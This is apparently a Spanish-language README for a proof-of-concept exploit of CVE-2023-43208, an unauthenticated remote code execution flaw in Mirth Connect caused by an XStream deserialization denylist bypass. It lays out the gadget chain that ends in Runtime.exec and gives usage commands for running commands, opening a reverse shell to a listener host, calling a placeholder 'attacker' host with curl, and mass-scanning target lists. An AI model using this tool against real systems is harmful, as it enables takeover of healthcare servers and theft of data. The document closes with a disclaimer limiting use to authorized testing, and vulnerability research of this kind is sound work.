
CVE-2023-43208: PoC de RCE Pre-Auth en Mirth Connect
Ejecución remota de código sin autenticación en NextGen Healthcare Mirth Connect < 4.4.1 mediante una evasión de la deserialización de XStream.
CVSS 9.8 (Crítico) — Evasión del parche de CVE-2023-37679
Mirth Connect usa la librería Java XStream para deserializar cargas útiles XML en el endpoint /api/users sin autenticación. El parche original (CVE-2023-37679) introdujo una lista negra de clases peligrosas, pero esta fue evadida usando EventBindingInvocationHandler de Apache Commons Lang3 combinado con la cadena InvokerTransformer de Commons Collections4.
Corregido en Mirth Connect 4.4.1 cambiando de lista negra a lista blanca.
pip install requests
Python 3.10+ (usa sentencias match).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre la autorización adecuada antes de realizar pruebas.